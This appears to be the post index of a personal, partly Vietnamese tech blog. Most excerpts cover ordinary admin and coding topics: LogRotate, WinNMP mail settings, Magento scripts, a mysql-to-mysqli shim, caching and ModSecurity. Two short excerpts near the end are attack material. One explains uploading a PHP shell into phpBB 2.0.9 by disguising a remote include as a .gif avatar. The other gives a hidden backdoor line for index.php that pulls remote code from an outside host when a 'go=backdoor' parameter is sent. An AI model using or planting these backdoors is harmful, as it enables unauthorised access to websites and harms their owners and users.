Portfolio
include

LogRotate – Công cụ quản lý Log files quan trọng cần phải biết

March 20, 2018Category : IT & Network

LOGROTATE là một tiện ích tuyệt vời trên Linux giúp đơn giản hóa việc quản lý log files trên hệ thống, bao gồm xoay vòng file log, di chuyển, nén, gửi tự động… Rotate (xoay vòng) ở đây có thể hiểu là tiến trình xử lý file log cũ theo quy định trước đó (xóa/nén/move) đồng..

Read more
01.

WinNMP – Config

February 27, 2018Category : Code/Web IT & Network

How to send emails using PHP WinNMP has 2 options for processing emails sent by PHP’s mail() function: mSmtp and mailToDisk (default). To change the option, edit confphp.ini and modify sendmail_path: For Development use mailToDisk (the default): sendmail_path = ‘”C:/WinNMP/bin/php” -n -f “C:/WinNMP/include/tools/mailtodisk.php”‘ Emails will be saved to logmail-XX.txt For Production use mSmtp: sendmail_path = ‘”C:/WinNMP/bin/msmtp/msmtp.exe” -C “C:/WinNMP/conf/msmtp.ini” -t’ You also need to edit confmsmtp.ini in order to configure SMTP server options   How..

Read more
02.

Magento remove duplicate img

September 1, 2016Category : Code/Web

SQL <?php /** * @author Linhdh * @website http://181988.xyz * @project update price and specialPrice */ include(‘app/Mage.php’); //Mage::App(‘default’); Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID); error_reporting(E_ALL | E_STRICT); Mage::setIsDeveloperMode(true); ini_set(‘display_errors’, 1); ob_implicit_flush (1); $mediaApi = Mage::getModel(“catalog/product_attribute_media_api”); $_products = Mage::getModel(‘catalog/product’)->getCollection(); $i =0; $total = count($_products); $count = 0; foreach($_products as $_prod) { $_product = Mage::getModel(‘catalog/product’)->load($_prod->getId()); $_md5_values = array(); //protected base image $base_image..

Read more
03.

Magento bulk product import with images

August 30, 2016Category : Code/Web

I recently had to transfer the inventory of an old Shop Factory site into Magento 1.7. Magento offers a powerful facility to do this via CSV using its DataFlow profiles but this is not without its quirks and pitfalls so I thought I’d share my experiences. Importing product data First, you will need to know..

Read more
04.

PHP7 mysql lib to mysqli convert

July 2, 2016Category : Code/Web

Đây là thư viện để các bạn không phải sửa từng chút một trong code nữa thêm include hoặc require trong config.php là được <?php namespace { if (!function_exists(‘\mysql_connect’)) { define (‘MYSQL_ASSOC’, 1); define (‘MYSQL_NUM’, 2); define (‘MYSQL_BOTH’, 3); define (‘MYSQL_CLIENT_COMPRESS’, 32); define (‘MYSQL_CLIENT_SSL’, 2048); define (‘MYSQL_CLIENT_INTERACTIVE’, 1024); define (‘MYSQL_CLIENT_IGNORE_SPACE’, 256); function mysql_connect( $hostname =..

Read more
05.

Facebook Messenger Chatbot Setup in PHP

May 5, 2016Category : Code/Web

Here is a step by step guide to make your first chatbot. Widely anticipated, Facebook has announced their messenger platform enabling businesses to build their own chat bots — automated response tools within Messenger which will be able to handle increasingly complex customer queries. Official Facebook Getting started guide https://developers.facebook.com/docs/messenger-platform/quickstart for Messenger Platform https://developers.facebook.com/products/messenger/ only have examples for..

Read more
06.

[WP] W3 Total Cache settings with Cloudflare GUIDE

October 12, 2015Category : Code/Web

W3 Total cache is a WordPress Performance Optimization framework that is designed to improve user experience and page speed.  It is recommended by many web hosting providers, and used by countless major websites such as mashable.com as well as many others. W3TC  improves the user experience of your site by increasing web server performance by reducing..

Read more
07.

YouTube Tutorial – The Player API

May 14, 2015Category : Code/Web

Dozens of video sharing sites may offer streaming video that plays back in higher quality than YouTube, but if you want eyeballs (and millions of them), then Google’s monstrously popular YouTube is the place to be. For a long time, all you could do with YouTube as a web publisher was embed its hosted videos..

Read more
08.

Các cách tối ưu hoá cho một Website có lượng truy cập và dữ liệu lớn.

October 18, 2011Category : Code/Web

Những Website lớn khi có lượng truy cập và lượng dữ liệu lớn thường hay có hiện tượng treo Server, chêt Process PHP, SQL bị locktable, Copying to tmp table…những hiện tượng này đều do lượng dữ liệu khổng lồ, SQL và code chưa được tối ưu hóa, chưa xử lý cache(cache file, cache SQL,..

Read more
010.

Phát hiện và chống xâm nhập Web Server với Mod Security

September 23, 2011Category : IT & Network

1. giới thiệu về Mod_security ModSecurity là một bộ máy phát hiện và phòng chống xâm nhập dành cho các ứng dụng web (hoặc 1 web application firewall). Hoạt động như một module của máy chủ web Apache, mục đích của ModSecurity là tăng cường bảo mật cho các ứng dụng web, bảo vệ chúng..

Read more
011.

include shell với phpBB

June 10, 2008Category : Bug & Security

phpBB version : 2.0.9 chuẩn bị sẵn 1 con shell upload shell txt lên host nào đó chèn đoạn code sau vào notepad roài save với đuôi .gif <php include “http://link…/shell.txt”; ?> khi ta đã vào dc admincp của phpBB chuyển tới config … chọn cho upload avatar = Yes Sau đó backup lại database..

Read more
012.

Ẩn backdoor, shell

June 10, 2008Category : Bug & Security

Dùng include if ($_REQUEST[‘go’]==”backdoor”) { include (“http://link.com/remview.php”); } hehe ! vậy khi nào cần dùng đến site này ta chỉ việc type lên file index.php của nó là : index.php?go=backdoor

Read more
013.
© Oliver / All rights reserved.
To top